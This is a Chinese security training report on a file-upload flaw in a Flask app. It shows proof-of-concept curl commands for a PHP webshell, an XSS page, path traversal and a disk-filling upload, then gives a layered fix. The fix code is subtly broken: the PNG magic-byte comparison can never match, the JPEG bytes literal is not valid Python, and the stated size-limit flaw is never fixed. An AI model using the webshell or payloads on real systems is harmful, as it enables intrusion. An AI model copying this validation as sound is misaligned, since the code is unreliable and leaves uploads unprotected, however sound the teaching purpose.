
用户信息管理平台

安全漏洞挖掘与修复报告

`http://10.133.25.191:5000`

项目版本：V5.0 — 文件上传漏洞修复专题

报告日期：2026年7月9日

今日课程：Day3:文件上传漏洞深度解析与安全防护

技术栈：Python Flask / 文件上传 / 魔数校验 / UUID重命名

一、漏洞分析（文件上传）

在已完成的用户管理系统中新增了头像上传功能。由于最初未做任何安全校验，存在以下4个严重漏洞：

1.1 漏洞位置

功能	路由	漏洞代码
头像上传	/upload	file.save(os.path.join(UPLOAD_DIR, file.filename))

1.2 POC 验证

POC 1：上传 PHP Webshell（高危）

```
# 上传一个PHP一句话木马
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F "file=@shell.php" http://目标/upload

# 访问上传后的文件执行命令
curl http://目标/static/uploads/shell.php?cmd=id

# 结果：成功执行系统命令 ✓
```

POC 2：上传 HTML 恶意页面（高危）

```
# 上传包含XSS的HTML文件
echo '<script>alert(document.cookie)</script>' > xss.html
curl -F "file=@xss.html" http://目标/upload

# 用户访问该HTML时，XSS脚本被执行
# 结果：HTML文件可被直接访问 ✓
```

POC 3：路径穿越攻击（中危）

```
# 文件名包含 ../ 可穿越到其他目录
curl -F "file=@test.txt;filename=../../evil.txt" http://目标/upload

# 结果：文件被保存到上层目录 ✓
```

POC 4: 超大型文件上传（中危）

```
# 上传超过限制的大文件
dd if=/dev/zero of=bigfile.bin bs=1M count=20
curl -F "file=@bigfile.bin" http://目标/upload
```

结果：耗尽服务器磁盘空间 

二、修复方案

针对上述4个漏洞，实施以下4层防护措施：

2.1 后缀名白名单

```
# 只允许图片后缀
ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg", "gif", "webp"}

# 校验逻辑
if "." not in filename or ext not in ALLOWED_EXTENSIONS:
    return "不支持的文件类型"
```

2.2 MIME 类型校验

```
# 只允许图片MIME
ALLOWED_MIMETYPES = {"image/png", "image/jpeg", "image/gif", "image/webp"}

# 校验逻辑
if file.content_type not in ALLOWED_MIMETYPES:
    return "不支持的文件类型"
```

2.3 文件头魔数校验

```
# 读取文件头部字节验证真实格式
header = file.read(8)
is_valid = (
    header[:4] == b"PNG" or      # PNG
    header[:2] in (b"ÿØ",) or    # JPEG
    header[:3] == b"GIF" or      # GIF
    header[:4] == b"RIFF"        # WEBP
)
if not is_valid:
    return "文件内容不是有效图片"
```

2.4 UUID 重命名防路径穿越

```
# 使用UUID重命名文件，彻底杜绝路径穿越
import uuid
safe_filename = f"{uuid.uuid4().hex}.{ext}"
```

```
filepath = os.path.join(UPLOAD_DIR, safe_filename)
file.save(filepath)
```

三、修复前后对比

防护层	修复前	修复后
后缀校验	无校验，任意后缀均可上传	白名单：png/jpg/jpeg/gif/webp
MIME 校验	无校验	仅允许image/*类型
内容校验	无校验	读取文件头魔数验证真实格式
文件命名	原始文件名，可路径穿越	UUID重命名，防穿越

修复后验证结果

POC测试	修复前	修复后
PHP webshell	上传成功并可访问	[OK] 拦截非法后缀
HTML恶意页面	上传成功并可访问	[OK] 拦截非法后缀
正常JPG图片	上传成功	[OK] UUID重命名保存

四、总结

文件上传漏洞是Web安全中的经典高风险漏洞，本次修复采用了"纵深防御"策略：

防御层次	防御手段	防范的威胁
第1层	后缀白名单	阻止 .php .exe .html 等非图片文件
第2层	MIME校验	阻止 Content-Type 伪造的攻击文件
第3层	文件头魔数校验	阻止改后缀名的虚假图片
第4层	UUID重命名	阻止路径穿越和文件名冲突

核心安全原则：永远不要信任用户输入。文件名、后缀、MIME类型、文件内容都需要层层校验，缺一不可。

— 报告完 —

报告日期: 2026-07-09 | 课程: 文件上传漏洞 | 防御策略: 纵深防御